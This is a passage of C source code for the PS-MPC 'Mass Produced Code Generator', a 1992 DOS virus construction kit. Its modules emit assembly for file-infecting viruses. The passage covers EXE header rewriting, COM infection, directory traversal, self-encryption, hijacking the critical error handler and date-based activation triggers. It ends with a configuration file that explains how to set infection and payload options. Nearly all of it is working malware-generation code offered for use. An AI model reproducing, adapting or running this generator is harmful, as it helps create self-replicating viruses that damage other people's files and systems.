  959.   print("stosw","");
  960.   print("mov    al,0c3h","retn");
  961.   print("stosb","");
  962.   printblank();
  963.   print("add    dx,offset startencrypt - offset decrypt","Calculate new");
  964.   print("mov    word ptr [bp+patch_startencrypt+1],dx","starting offset of");
  965.   print("call   code_store","decryption");
  966.   print("pop    cx","");
  967.   print("pop    di","");
  968.   print("pop    si","");
  969.   print("rep    movsb","Restore decryption function");
  970.   printblank();
  971. }
  972.  
  973. void code_infect_EXE(void)
  974. {
  975.   print("les  ax, dword ptr [bp+buffer+14h]","Save old entry point");
  976.   print("mov  word ptr [bp+jmpsave2], ax","");
  977.   print("mov  word ptr [bp+jmpsave2+2], es","");
  978.   printblank();
  979.   print("les  ax, dword ptr [bp+buffer+0Eh]","Save old stack");
  980.   print("mov  word ptr [bp+stacksave2], es","");
  981.   print("mov  word ptr [bp+stacksave2+2], ax","");
  982.   printblank();
  983.   print("mov  ax, word ptr [bp+buffer + 8]","Get header size");
  984.   print("mov  cl, 4","convert to bytes");
  985.   print("shl  ax, cl","");
  986.   print("xchg ax, bx","");
  987.   printblank();
  988.   print("les  ax, [bp+offset newDTA+26]","Get file size");
  989.   print("mov  dx, es","to DX:AX");
  990.   print("push ax","");
  991.   print("push dx","");
  992.   printblank();
  993.   print("sub  ax, bx","Subtract header size from");
  994.   print("sbb  dx, 0","file size");
  995.   printblank();
  996.   print("mov  cx, 10h","Convert to segment:offset");
  997.   print("div  cx","form");
  998.   printblank();
  999.   print("mov  word ptr [bp+buffer+14h], dx","New entry point");
  1000.   print("mov  word ptr [bp+buffer+16h], ax","");
  1001.   printblank();
  1002.   print("mov  word ptr [bp+buffer+0Eh], ax","and stack");
  1003.   print("mov  word ptr [bp+buffer+10h], id","");
  1004.   printblank();
  1005.   print("pop  dx","get file length");
  1006.   print("pop  ax","");
  1007.   printblank();
  1008.   if (config.p.encrypt)
  1009.     print("add  ax, heap-decrypt","add virus size");
  1010.   else
  1011.     print("add  ax, heap-startvirus","add virus size");
  1012.   print("adc  dx, 0","");
  1013.   printblank();
  1014.   print("mov  cl, 9","");
  1015.   print("push ax","");
  1016.   print("shr  ax, cl","");
  1017.   print("ror  dx, cl","");
  1018.   print("stc","");
  1019.   print("adc  dx, ax","");
  1020.   print("pop  ax","");
  1021.   print("and  ah, 1","mod 512");
  1022.   printblank();
  1023.   print("mov  word ptr [bp+buffer+4], dx","new file size");
  1024.   print("mov  word ptr [bp+buffer+2], ax","");
  1025.   printblank();
  1026.   print("push cs","restore ES");
  1027.   print("pop  es","");
  1028.   printblank();
  1029.   if (config.p.encrypt)
  1030.     print("push word ptr [bp+buffer+14h]","needed later");
  1031.   print("mov  cx, 1ah","");
  1032. }
  1033. ----------------------------------- Cut Here ----------------------------------
  1034. /* FILE: VMAIN.C */
  1035. /* The Phalcon/Skism Mass-Produced Code Generator *
  1036.  * Version 0.90ß - 27 Jul 92 - Initial Release    *
  1037.  * Written by Dark Angel of Phalcon/Skism         *
  1038.  * Source code released with 40Hex-8              *
  1039.  */
  1040.  
  1041. #include <stdio.h>
  1042.  
  1043. #define MAIN
  1044. #include "vheader.h"
  1045. #undef MAIN
  1046.  
  1047. globals config;
  1048.  
  1049. void parse_config(void);
  1050. unsigned getnumber(int line, char *d, char ok, char *next);
  1051. char getyn(int line, char *d);
  1052. void setplusminus(char *a, char b);
  1053. void parseactivate(int line, char *d, char min, char max, char *a, char *b,char *s);
  1054. void printerror(int line, char c);
  1055. void getDBname(char *orig, char *name,char *delim);
  1056.  
  1057. FILE *fp;
  1058.  
  1059. void main(int argc, char **argv)
  1060. {
  1061.   char c,filename[80];
  1062.  
  1063.   puts("PS-MPC ■ Phalcon/Skism Mass Produced Code Generator");
  1064.   puts("       ■ Version 0.90ß        Written by Dark Angel\n");
  1065.  
  1066.   if (argc < 2)
  1067.   {
  1068.     puts("Syntax: PS-MPC <file1> <file2> ...");
  1069.     puts("  file1 = name of first configuration file");
  1070.     puts("  file2 = name of second configuration file");
  1071.   }
  1072.  
  1073.   for (c=1;c<argc;c++)
  1074.   {
  1075.     if ((fp = fopen(argv[c],"rt")) == NULL)
  1076.     {
  1077.       printf("Error opening configuration file (%s).\n",argv[c]);
  1078.       puts("Skipping file...");
  1079.       continue;
  1080.     }
  1081.  
  1082.     printf("Reading configuration file (%s)...",argv[c]);
  1083.     resetheap();
  1084.     parse_config();
  1085.     strcpy(config.configfilename,argv[c]);
  1086.  
  1087.     fclose(fp);
  1088.     puts("Done!");
  1089.  
  1090.     if (!config.p.infectCOM && !config.p.infectEXE) {
  1091.       puts("Warning: Virus does not infect any type of file.");
  1092.       puts("Remedy:  Use the \"infect\" parameter in the configuration file.");
  1093.       puts("Skipping file...");
  1094.       continue;
  1095.     }
  1096.  
  1097.     if (!config.asmfilename[0]) {
  1098.       puts("Warning: No target file name specified.");
  1099.       puts("Remedy:  Use the \"filename\" parameter in the configuration file.");
  1100.       puts("Skipping file...");
  1101.       continue;
  1102.     }
  1103.  
  1104.     if ((fp = fopen(config.asmfilename,"wt")) == NULL)
  1105.     {
  1106.       printf("Error opening target file (%s).\n",config.asmfilename);
  1107.       puts("Skipping file...");
  1108.       continue;
  1109.     }
  1110.  
  1111.     printf("Creating target file (%s)...",config.asmfilename);
  1112.  
  1113.     code_header();
  1114.     code_encryption();
  1115.     code_setup();
  1116.     code_traversal();
  1117.     code_check_activation();
  1118.     code_return();
  1119.     code_activate();
  1120.     code_messages();
  1121.     if (config.p.calls_check)
  1122.       code_check();
  1123.     code_infect();
  1124.     code_subroutines();
  1125.     code_variables();
  1126.     code_heap();
  1127.     code_tail();
  1128.  
  1129.     fclose(fp);
  1130.     puts("Done!");
  1131.   }
  1132.   puts("\nThank you for using the Phalcon/Skism Mass Produced Code Generator");
  1133.   exit(0);
  1134. }
  1135.  
  1136. void print(char *s, char *t)
  1137. {
  1138.   char b[80];
  1139.   sprintf(b,"          %s",s);
  1140.   printlabel(b,t);
  1141. }
  1142.  
  1143. void printlabel(char *s, char *t)
  1144. {
  1145.   int i = 0;
  1146.   if (*s)
  1147.     if (*t) {
  1148.       i = fprintf(fp,"%-40s",s);
  1149.       if (i > 40)
  1150.         fputc(' ',fp);
  1151.       fprintf(fp,"; %s",t);
  1152.     } else /* if (*t) */
  1153.       fprintf(fp,s);
  1154.   fprintf(fp,"\n");
  1155. }
  1156.  
  1157. void addvar(char *s, char *t, char *u)
  1158. {
  1159.   char b[80];
  1160.   if (*u)
  1161.     sprintf(b,"%-20.20s%-20.20s; %s",s,t,u);
  1162.   else
  1163.     sprintf(b,"%-20.20s%s",s,t);
  1164.   printlabel(b,"");
  1165. }
  1166.  
  1167. void parse_config(void)
  1168. {
  1169.     char b[80];
  1170.     char *c, *d;
  1171.     int  line = 0;
  1172.     globals default_globals = {
  1173.         "",                       /* Configuration file name              */
  1174.         "",                       /* Source code file name                */
  1175.         "  ",                     /* EXE ID Word                          */
  1176.         "",                       /* Virus name                           */
  1177.         '\'',                     /* Deliminator for virus name           */
  1178.         "",                       /* Author name                          */
  1179.         '\'',                     /* Deliminator for author name          */
  1180.         0,                        /* Minimum COM size for infection       */
  1181.         0,                        /* Maximum COM size for infection       */
  1182.         0,                        /* Infections per run                   */
  1183.         { 0,0,NONE,0,0,0,0 },     /* flags                                */
  1184.         0,                        /* xor value                            */
  1185.         "",                       /* xor comment                          */
  1186.         0,                        /* number of activation conditions      */
  1187.         { 0,0,0,0,0,-1,0,-1,-1,-1,0 }, /* activation conditions           */
  1188.         { 0,0,0,0,0, 0,0, 0, 0, 0,-1}  /* plusminus activation conditions */
  1189.     };
  1190.  
  1191.     config = default_globals;
  1192.  
  1193.     while (1)
  1194.     {
  1195.         line++;
  1196.         b[0]=0;
  1197.         c = fgets(b,100,fp);
  1198.         if (!b[0])
  1199.           break;
  1200.         while (isspace(*c)) c++;    /* skip initial spaces */
  1201.         if (!*c || *c == ';') continue;    // check if this line is a comment
  1202.         d = c;
  1203.         while (!isspace(*d)) d++;   /* isolate one word  */
  1204.         *d++ = 0;                   /* NULL terminate it */
  1205.         while (isspace(*d) || (*d == '=')) d++;
  1206.  
  1207.         if (!stricmp(c,"filename"))
  1208.         {
  1209.           c = d;
  1210.           while (!isspace(*d)) d++; /* isolate filename */
  1211.           *d = 0;
  1212.           strcpy(config.asmfilename,c);
  1213.         }
  1214.  
  1215.         else if (!stricmp(c,"traversal"))
  1216.           switch (toupper(*d))
  1217.           {
  1218.             case 'N' : config.p.traverse = NONE; break;
  1219.             case 'D' : config.p.traverse = DOT_DOT; break;
  1220.             default  : printerror(line,*d);
  1221.           }
  1222.  
  1223.         else if (!stricmp(c,"encryption")) config.p.encrypt = getyn(line,d);
  1224.  
  1225.         else if (!stricmp(c,"infect")) {
  1226.           while (!isspace(*d)) {
  1227.             switch (toupper(*d))
  1228.             {
  1229.               case 'C' : config.p.infectCOM = 1; break;
  1230.               case 'E' : config.p.infectEXE = 1; break;
  1231.               case ',' : break;
  1232.               default  : printerror(line,*d);
  1233.             }
  1234.             d++;
  1235.           }
  1236.         }
  1237.  
  1238.         else if (!stricmp(c,"idword")) {
  1239.           config.id[0] = (isspace(*d)) ? ' ' : *d;
  1240.           config.id[1] = (isspace(*(d+1))) ? ' ' : *(d+1);
  1241.           config.id[2]=0;
  1242.         }
  1243.  
  1244.         else if (!stricmp(c,"minsize")) {
  1245.           if (toupper(*d) == 'A')
  1246.             config.minsize = 1;
  1247.           else {
  1248.             config.minsize = getnumber(line,d,0,0);
  1249.             if (config.maxsize > 1)
  1250.               if (config.minsize > config.maxsize)
  1251.                 puts("Error: minsize is greater than maxsize!");
  1252.           }
  1253.         }
  1254.  
  1255.         else if (!stricmp(c,"maxsize")) {
  1256.           if (toupper(*d) == 'A')
  1257.             config.maxsize = 1;
  1258.           else {
  1259.             config.maxsize = getnumber(line,d,0,0);
  1260.             if (config.minsize > 1)
  1261.               if (config.maxsize < config.minsize)
  1262.                 printf("Error: minsize is greater than maxsize!\n");
  1263.           }
  1264.         }
  1265.  
  1266.         else if (!stricmp(c,"infections"))
  1267.           config.maxinfect = (unsigned char)getnumber(line,d,0,0);
  1268.  
  1269.         else if (!stricmp(c,"errorhandler"))
  1270.           config.p.int24 = getyn(line,d);
  1271.  
  1272.         else if (!stricmp(c,"commandcom"))
  1273.           config.p.CommandCom = getyn(line,d);
  1274.  
  1275.         else if (!stricmp(c,"virusname"))
  1276.           getDBname(d,config.virusname,&config.virusnamedelim);
  1277.  
  1278.         else if (!stricmp(c,"authorname"))
  1279.           getDBname(d,config.authorname,&config.authornamedelim);
  1280.  
  1281.         else if (!stricmp(c,"allowzero"))
  1282.           config.p.allowzero = getyn(line,d);
  1283.  
  1284.         else if (!stricmp(c,"always")) {
  1285.           config.activate.always = getyn(line,d);
  1286.           if (config.activate.always) config.activation++;
  1287.         }
  1288.  
  1289.         else if (!stricmp(c,"ifmonth"))
  1290.           parseactivate(line,d,1,12,&config.activate.month,&config.plusminus.month,"month");
  1291.  
  1292.         else if (!stricmp(c,"ifday"))
  1293.           parseactivate(line,d,1,31,&config.activate.day,&config.plusminus.day,"day");
  1294.  
  1295.         else if (!stricmp(c,"ifyear"))
  1296.         {
  1297.           config.activate.year = getnumber(line,d,'+',d);
  1298.           setplusminus((char *)&config.plusminus.year,*d);
  1299.           config.activation++;
  1300.         }
  1301.  
  1302.         else if (!stricmp(c,"ifdow"))
  1303.           parseactivate(line,d,0,6,&config.activate.dow,&config.plusminus.dow,"date of week");
  1304.  
  1305.         else if (!stricmp(c,"ifmonthday"))
  1306.         {
  1307.           int  tempint;
  1308.           char temp=(char)getnumber(line,d,',',d);
  1309.           if ((temp < 1) || (temp > 12))
  1310.             printf("Invalid month: %d.  Must range between 1 and 12.\n",temp);
  1311.           else {
  1312.             d++;
  1313.             tempint = temp*0x100;
  1314.             temp=(char)getnumber(line,d,'+',d);
  1315.             if ((temp < 1) || (temp > 31))
  1316.             {
  1317.               printf("Invalid day: %d.  Must range between 1 and 31.\n",temp);
  1318.             } else {
  1319.               config.activate.monthday=tempint + temp;
  1320.               setplusminus((char *)&config.plusminus.monthday,*d);
  1321.               config.activation++;
  1322.             }
  1323.           }
  1324.         }
  1325.  
  1326.         else if (!stricmp(c,"ifhour"))
  1327.           parseactivate(line,d,0,23,&config.activate.hour,&config.plusminus.hour,"hour");
  1328.  
  1329.         else if (!stricmp(c,"ifminute"))
  1330.           parseactivate(line,d,0,59,&config.activate.minute,&config.plusminus.minute,"minute");
  1331.  
  1332.         else if (!stricmp(c,"ifsecond"))
  1333.           parseactivate(line,d,0,59,&config.activate.second,&config.plusminus.second,"second");
  1334.  
  1335.         else if (!stricmp(c,"percentage"))
  1336.           parseactivate(line,d,1,99,&config.activate.percentage,0,"percentage");
  1337.  
  1338.         else if (!isspace(c))
  1339.           printf("Error in line %d: Invalid parameter '%s'.\n",line,c);
  1340.     }
  1341. }
  1342.  
  1343. unsigned int getnumber(int line,char *d,char ok,char *next)
  1344. {
  1345.   int temp = 0;
  1346.   while (isdigit(*d))
  1347.   {
  1348.     temp*=10;
  1349.     temp+=(*d-'0');
  1350.     d++;
  1351.   }
  1352.   if ((ok == '+') && (!((*d == '+') || (*d == '-'))) && !isspace(*d))
  1353.     printerror(line,*d);
  1354.   else
  1355.     if (next) *next=*d;
  1356.   return temp;
  1357. }
  1358.  
  1359. char getyn(int line,char *d)
  1360. {
  1361.   switch (toupper(*d))
  1362.   {
  1363.     case 'Y' : return 1;
  1364.     case 'N' : return 0;
  1365.     default  : printerror(line,*d);
  1366.   }
  1367.   return 0;
  1368. }
  1369.  
  1370. void setplusminus(char *a, char b)
  1371. {
  1372.     if (b == '+')
  1373.       *a = 1;
  1374.     else if (b == '-')
  1375.       *a = -1;
  1376.     else
  1377.       *a = 0;
  1378. }
  1379.  
  1380. void parseactivate(int line, char *d, char min, char max, char *a, char *b, char *s)
  1381. {
  1382.   char *c=d;
  1383.   char temp = (char)getnumber(line,d,'+',c);
  1384.   if ((temp < min) || (temp > max))
  1385.     printf("Invalid %s specified: %d.  Range must be between %d & %d.\n",s,temp,min,max);
  1386.   else {
  1387.     *a = temp;
  1388.     if (b != 0) setplusminus(b,*c);
  1389.     config.activation++;
  1390.   }
  1391. }
  1392.  
  1393. void printerror(int line, char c)
  1394. {
  1395.   printf("Error in line %d: Invalid character '%c'.\n",line,c);
  1396. }
  1397.  
  1398. void printblank(void)
  1399. {
  1400.   fprintf(fp,"\n");
  1401. }
  1402. void getDBname(char *orig, char *name,char *delim)
  1403. {
  1404.   *delim = '\'';
  1405.   orig[strlen(orig)-1] = 0;
  1406.   if (strchr(orig,'\''))
  1407.     if (strchr(orig,'\"')) {
  1408.       *delim = 0;
  1409.       printf("Error in %s: Both single and double quotes used.",orig);
  1410.     }
  1411.     else
  1412.       *delim = '\"';
  1413.   if (*delim)
  1414.     strcpy(name,orig);
  1415. }
  1416. ----------------------------------- Cut Here ----------------------------------
  1417. /* FILE: VMESSAGE.C */
  1418. #include "vheader.h"
  1419.  
  1420. void code_messages(void)
  1421. {
  1422.     char b[80];
  1423.     addvar("creator","db '[MPC]',0","Mass Produced Code Generator");
  1424.     if (config.virusname[0]) {
  1425.       sprintf(b,"db %c%s%c,0",config.virusnamedelim, config.virusname,
  1426.                               config.virusnamedelim);
  1427.       addvar("virusname",b,"");
  1428.     }
  1429.     if (config.authorname[0]) {
  1430.       sprintf(b,"db %c%s%c,0",config.authornamedelim, config.authorname,
  1431.                               config.authornamedelim);
  1432.       addvar("author",b,"");
  1433.     }
  1434.     printblank();
  1435. }
  1436. ----------------------------------- Cut Here ----------------------------------
  1437. /* FILE: VRETURN.C */
  1438. #include "vheader.h"
  1439.  
  1440. void return_EXE(void);
  1441. void return_COM(void);
  1442.  
  1443. void code_return(void)
  1444. {
  1445.   char s[80];
  1446.   if (config.activation)
  1447.     printlabel("exit_virus:","");
  1448.   if (config.p.int24)
  1449.   {
  1450.     print("mov  ax,2524h","Restore int 24 handler");
  1451.     print("lds  dx,[bp+offset oldint24]","to original");
  1452.     print("int  21h","");
  1453.     print("push cs","");
  1454.     print("pop  ds","");
  1455.     printblank();
  1456.   }
  1457.   if (config.p.traverse == DOT_DOT) {
  1458.     print("mov  ah,3bh","change directory");
  1459.     print("lea  dx,[bp+origdir-1]","original directory");
  1460.     print("int  21h","");
  1461.     printblank();
  1462.   }
  1463.   print("mov  ah,1ah","restore DTA to default");
  1464.   print("mov  dx,80h","DTA in PSP");
  1465.   if (config.p.infectEXE)
  1466.   {
  1467.     if (config.p.infectCOM)
  1468.     {
  1469.       print("cmp  sp,id-4","EXE or COM?");
  1470.       print("jz   returnEXE","");
  1471.       printlabel("returnCOM:","");
  1472.       return_COM();
  1473.       printlabel("returnEXE:","");
  1474.       return_EXE();
  1475.     } else /* EXE only */
  1476.     {
  1477.       return_EXE();
  1478.     }
  1479.   } else
  1480.   {
  1481.     return_COM();
  1482.     addvar("save3","db 0cdh,20h,0","First 3 bytes of COM file");
  1483.   }
  1484.   printblank();
  1485. }
  1486.  
  1487. void return_EXE(void)
  1488. {
  1489.   print("pop  es","");
  1490.   print("pop  ds","");
  1491.   print("int  21h","");
  1492.   print("mov  ax,es","AX = PSP segment");
  1493.   print("add  ax,10h","Adjust for PSP");
  1494.   print("add  word ptr cs:[bp+jmpsave+2],ax","");
  1495.   print("add  ax,word ptr cs:[bp+stacksave+2]","");
  1496.   print("cli","Clear intrpts for stack manipulation");
  1497.   print("mov  sp,word ptr cs:[bp+stacksave]","");
  1498.   print("mov  ss,ax","");
  1499.   print("sti","");
  1500.   print("db   0eah","jmp ssss:oooo");
  1501.   addvar("jmpsave","dd ?","Original CS:IP");
  1502.   addvar("stacksave","dd ?","Original SS:SP");
  1503.   if (config.p.infectCOM) {
  1504.     addvar("jmpsave2","db ?","Actually four bytes");
  1505.     addvar("save3","db 0cdh,20h,0","First 3 bytes of COM file");
  1506.   } else
  1507.     addvar("jmpsave2","dd 0fff00000h","Needed for carrier file");
  1508.   addvar("stacksave2","dd ?","");
  1509. }
  1510.  
  1511. void return_COM(void)
  1512. {
  1513.   print("int  21h","");
  1514.   print("retn","100h is on stack");
  1515. }
  1516. ----------------------------------- Cut Here ----------------------------------
  1517. /* FILE: VSETUP.C */
  1518. #include "vheader.h"
  1519.  
  1520. void restore_COM(void);
  1521. void restore_EXE(void);
  1522.  
  1523. void code_setup(void)
  1524. {
  1525.   addheap("buffer","db 1ah dup (?)","read buffer");
  1526.   if (!config.p.encrypt)
  1527.     printlabel("startvirus:","virus code starts here");
  1528.   print("call next","calculate delta offset");
  1529.   printlabel("next:     pop  bp","bp = IP next");
  1530.   print("sub  bp,offset next","bp = delta offset");
  1531.   printblank();
  1532.   if (config.p.infectEXE)
  1533.   {
  1534.     if (config.p.infectCOM) /* COM & EXE */
  1535.     {
  1536.       print("cmp  sp,id","COM or EXE?");
  1537.       print("je   restoreEXE","");
  1538.       printlabel("restoreCOM:","");
  1539.       restore_COM();
  1540.       print("jmp  short restoreEXIT","");
  1541.       printlabel("restoreEXE:","");
  1542.       restore_EXE();
  1543.       printlabel("restoreEXIT:","");
  1544.       print("movsw","");
  1545.     } else /* EXE ONLY */
  1546.       restore_EXE();
  1547.   } else
  1548.     restore_COM();
  1549.  
  1550.   printblank();
  1551.   if (config.maxinfect)
  1552.   {
  1553.     char b[80];
  1554.     addheap("numinfec","db ?","Infections this run");
  1555.     sprintf(b,"mov  byte ptr [bp+numinfec],%u",config.maxinfect);
  1556.     print(b,"reset infection counter");
  1557.     printblank();
  1558.   }
  1559.   print("mov  ah,1Ah","Set new DTA");
  1560.   print("lea  dx,[bp+newDTA]","new DTA @ DS:DX");
  1561.   print("int  21h","");
  1562.   printblank();
  1563.   addheap("newDTA","db 43 dup (?)","Temporary DTA");
  1564.   if (config.p.traverse == DOT_DOT)
  1565.   {
  1566.     print("mov  ah,47h","Get current directory");
  1567.     print("mov  dl,0","Current drive");
  1568.     print("lea  si,[bp+origdir]","DS:SI->buffer");
  1569.     print("int  21h","");
  1570.     print("mov  byte ptr [bp+backslash],'\\'","Prepare for later CHDIR");
  1571.     addheap("origdir","db 64 dup (?)","Current directory buffer");
  1572.     addheap("backslash","db ?","");
  1573.     printblank();
  1574.   }
  1575.   if (config.p.int24)
  1576.   {
  1577.     addheap("oldint24","dd ?","Storage for old int 24h handler");
  1578.     print("mov  ax,3524h","Get int 24 handler");
  1579.     print("int  21h","to ES:BX");
  1580.     print("mov  word ptr [bp+oldint24],bx","Save it");
  1581.     print("mov  word ptr [bp+oldint24+2],es","");
  1582.     print("mov  ah,25h","Set new int 24 handler");
  1583.     print("lea  dx,[bp+offset int24]","DS:DX->new handler");
  1584.     print("int  21h","");
  1585.     print("push cs","Restore ES");
  1586.     print("pop  es","'cuz it was changed");
  1587.     printblank();
  1588.   }
  1589. }
  1590.  
  1591. void restore_EXE(void)
  1592. {
  1593.   print("push ds","");
  1594.   print("push es","");
  1595.   print("push cs","DS = CS");
  1596.   print("pop  ds","");
  1597.   print("push cs","ES = CS");
  1598.   print("pop  es","");
  1599.   print("lea  si,[bp+jmpsave2]","");
  1600.   print("lea  di,[bp+jmpsave]","");
  1601.   print("movsw","");
  1602.   print("movsw","");
  1603.   print("movsw","");
  1604.   if (!config.p.infectCOM)
  1605.     print("movsw","");
  1606. }
  1607.  
  1608. void restore_COM(void)
  1609. {
  1610.   print("lea  si,[bp+save3]","");
  1611.   print("mov  di,100h","");
  1612.   print("push di","For later return");
  1613.   if (!config.p.infectEXE)
  1614.     print("movsw","");
  1615.   print("movsb","");
  1616. }
  1617. ----------------------------------- Cut Here ----------------------------------
  1618. /* FILE: VSUBS.C */
  1619. #include "vheader.h"
  1620.  
  1621. void code_subroutines(void)
  1622. {
  1623.   printlabel("open:","");
  1624.   print("mov  ah,3dh","");
  1625.   print("lea  dx,[bp+newDTA+30]","filename in DTA");
  1626.   print("int  21h","");
  1627.   print("xchg ax,bx","");
  1628.   print("ret","");
  1629.   printblank();
  1630.   printlabel("attributes:","");
  1631.   print("mov  ax,4301h","Set attributes to cx");
  1632.   print("lea  dx,[bp+newDTA+30]","filename in DTA");
  1633.   print("int  21h","");
  1634.   print("ret","");
  1635.   printblank();
  1636.   if (config.p.encrypt)
  1637.   {
  1638.     printlabel("write:","");
  1639.     print("pop  bx","Restore file handle");
  1640.     print("pop  bp","Restore relativeness");
  1641.     print("mov  ah,40h","Write to file");
  1642.     print("lea  dx,[bp+decrypt]","Concatenate virus");
  1643.     print("mov  cx,heap-decrypt","# bytes to write");
  1644.     print("int  21h","");
  1645.     print("push bx","");
  1646.     print("push bp","");
  1647.     printlabel("endwrite:","");
  1648.     printblank();
  1649.   }
  1650.   if (config.p.int24)
  1651.   {
  1652.     printlabel("int24:","New int 24h (error) handler");
  1653.     print("mov  al,3","Fail call");
  1654.     print("iret","Return control");
  1655.     printblank();
  1656.   }
  1657. }
  1658. ----------------------------------- Cut Here ----------------------------------
  1659. /* FILE: VTAIL.C */
  1660. #include "vheader.h"
  1661.  
  1662. void code_tail(void)
  1663. {
  1664.   if (config.p.infectCOM)
  1665.     printlabel("end       entry_point","");
  1666.   else
  1667.     if (config.p.encrypt)
  1668.       printlabel("end       decrypt","");
  1669.     else
  1670.       printlabel("end       startvirus","");
  1671. }
  1672. ----------------------------------- Cut Here ----------------------------------
  1673. /* FILE: VTRAVEL.C */
  1674. #include "vheader.h"
  1675.  
  1676. void code_traversal_generic(void);
  1677. void dot_dot(void);
  1678. void lea_exe(void);
  1679. void lea_com(void);
  1680.  
  1681. void code_traversal(void)
  1682. {
  1683.   config.p.calls_check = 0;
  1684.   switch (config.p.traverse)
  1685.   {
  1686.     case NONE:    code_traversal_generic(); break;
  1687.     case DOT_DOT: printlabel("dir_scan:","\"dot dot\" traversal");
  1688.                   code_traversal_generic();
  1689.                   dot_dot();
  1690.                   break;
  1691.   }
  1692.   printblank();
  1693.   printlabel("done_infections:","");
  1694. }
  1695.  
  1696. void code_traversal_generic(void)
  1697. {
  1698.   if (config.p.infectEXE) {
  1699.     lea_exe();
  1700.     if (!config.p.infectCOM)
  1701.       code_check();
  1702.   }
  1703.   if (config.p.infectCOM) {
  1704.     lea_com();
  1705.     if (config.p.infectEXE)
  1706.       config.p.calls_check++;
  1707.     else
  1708.       code_check();
  1709.   }
  1710. }
  1711.  
  1712. void lea_exe(void)
  1713. {
  1714.   print("lea  dx,[bp+exe_mask]","");
  1715.   if (config.p.infectCOM)
  1716.     print("call infect_mask","");
  1717. }
  1718.  
  1719. void lea_com(void)
  1720. {
  1721.   print("lea  dx,[bp+com_mask]","");
  1722.   if (config.p.infectEXE)
  1723.     print("call infect_mask","");
  1724. }
  1725.  
  1726. void dot_dot(void)
  1727. {
  1728.   print("mov  ah,3bh","change directory");
  1729.   print("lea  dx,[bp+dot_dot]","\"cd ..\"");
  1730.   print("int  21h","");
  1731.   print("jnc  dir_scan","go back for mo!");
  1732. }
  1733. ----------------------------------- Cut Here ----------------------------------
  1734. /* FILE: VVAR.C */
  1735. #include "vheader.h"
  1736.  
  1737. void code_variables(void)
  1738. {
  1739.   if (config.p.infectEXE) addvar("exe_mask","db '*.exe',0","");
  1740.   if (config.p.infectCOM) addvar("com_mask","db '*.com',0","");
  1741.   if (config.p.traverse == DOT_DOT)
  1742.     addvar("dot_dot","db '..',0","");
  1743. }
  1744. ----------------------------------- Cut Here ----------------------------------
  1745. ; FILE: SKELETON.CFG
  1746. ; Skeleton configuration file for PS-MPC version 0.90ß
  1747. ; Lines beginning with semicolons denote comments
  1748.  
  1749. ; Required parameters:
  1750.  
  1751. ; Filename = <string>
  1752. ; This is the filename to be generated by PS-MPC as the source code file.
  1753. Filename = target.asm
  1754.  
  1755. ; Infect = (C,E)
  1756. ; COM, EXE
  1757. ; Note: You can mix the two, a la "Infect = C,E"  Do not use a space to
  1758. ;       deliminate the two parameters.
  1759. Infect = C,E
  1760.  
  1761. ; Optional parameters - Defaults are shown in square brackets
  1762.  
  1763. ; Traversal = <N,D>
  1764. ; ([None], Dot Dot)
  1765. ; If None is specified, then only the files in the current directory will be
  1766. ; infected.  If Dot dot is specified, then files in the current directory and
  1767. ; subdirectories below the current will be infected.
  1768. Traversal = N
  1769.  
  1770. ; Encrypted = <Y,N>
  1771. ; (Yes, [No])
  1772. ; Only turn off encryption if you wish to limit the size of the virus.
  1773. Encryption = Y
  1774.  
  1775. ; IDWord = XX
  1776. ; ([  ],XX)
  1777. ; The IDWord consists of two characters which are used to identify already
  1778. ; infected EXE files.  This line is not needed in COM-only infectors.  Do
  1779. ; not use an apostrophe or the source code will not assemble properly.
  1780. IDWord = DA
  1781.  
  1782. ; MinSize = #
  1783. ; (A,[0]..65535)
  1784. ; MinSize is used only in the infection of COM files.  Files under MinSize
  1785. ; bytes are not infected.  MinSize = 0 turns off this option.  MinSize = A
  1786. ; indicates use of the virus's effective length as the minimum size.  This
  1787. ; line is ignored in EXE-specific infectors.
  1788. MinSize = 0
  1789.  
  1790. ; MaxSize = #
  1791. ; (A,[0]..65535)
  1792. ; MaxSize is used only in the infection of COM files.  Files above MaxSize
  1793. ; bytes are not infected.  MaxSize = 0 turns off this option.  MaxSize = A
  1794. ; indicates automatic calculation of maximum size. This line is not needed
  1795. ; in EXE-only infectors.
  1796. MaxSize = A
  1797.  
  1798. ; Infections = #
  1799. ; ([0]..255)
  1800. ; Infections is an optional counter limiting the number of infections per run
  1801. ; of the virus to a specific number.  Infections = 0 disables this option.
  1802. Infections = 0
  1803.  
  1804. ; ErrorHandler = <Y,N>
  1805. ; (Yes, [No])
  1806. ; ErrorHandler selects if you wish to include a short critical error handler
  1807. ; in the virus.  This handler prevents Abort, Retry, Fail messages by taking
  1808. ; over the critical error interrupt.  Attempted infection of files on write-
  1809. ; protected diskettes will not generate an error if this option is set.
  1810. ErrorHandler = Y
  1811.  
  1812. ; CommandCom = <Y,N>
  1813. ; (Yes, [No])
  1814. ; This flag indicates whether you wish the virus to infect COMMAND.COM
  1815. ; 'Yes' turns off the check for COMMAND.COM, thus saving space.
  1816. CommandCom = N
  1817.  
  1818. ; VirusName = <string>
  1819. ; The only limitation to the string is that you may not use both the single
  1820. ; and double quotes together in the string, i.e. the string B'li"p is not
  1821. ; legal.
  1822. VirusName = [Skeleton]
  1823.  
  1824. ; AuthorName = <string>
  1825. ; The same constraints apply to AuthorName.
  1826. AuthorName = Deke
  1827.  
  1828. ; AllowZero = <Y,N>
  1829. ; (Yes, [No])
  1830. ; This flags whether the virus will allow an encryption value of 0, which
  1831. ; would effectively leave it in an unencrypted state.  'Yes' disables the
  1832. ; zero check, thereby shortening code length.
  1833. AllowZero = N
  1834.  
  1835. ; Activation Conditions
  1836. ; All conditions must be satisfied for activation to occur
  1837.  
  1838. ; Always = <Y,N>
  1839. ; (Yes, [No])
  1840. ; This flags whether the virus always activates, although I can't imagine a
  1841. ; useful virus that does so.
  1842. ; Always = N
  1843.  
  1844. ; IfMonth = #
  1845. ; <1..12><-,+>
  1846. ; Activate if the month is equal to the specified number.  Adding a minus sign
  1847. ; after the month indicates activation before or during the specified month.
  1848. ; Adding a plus sign after the month indicates activation during or after the
  1849. ; specified month.
  1850. ; IfMonth = 11+    ; Activate in either November or December
  1851.  
  1852. ; IfDay = #
  1853. ; <1..31><-,+>
  1854. ; Activate if the date is on a certain date  Adding a minus sign after the day
  1855. ; indicates activation on or before that day.  Similarly, adding a plus sign
  1856. ; indicates activation on or after that day.  Note: the program does not check
  1857. ; to see if the number inputted is a valid date.  For example, combining
  1858. ; IfMonth=2 and IfDay=30+ will NOT result in an error, although the virus will
  1859. ; clearly never activate.
  1860. ; IfDay = 15+         ; Activate after the fifteenth of the month
  1861.  
  1862. ; IfYear = #
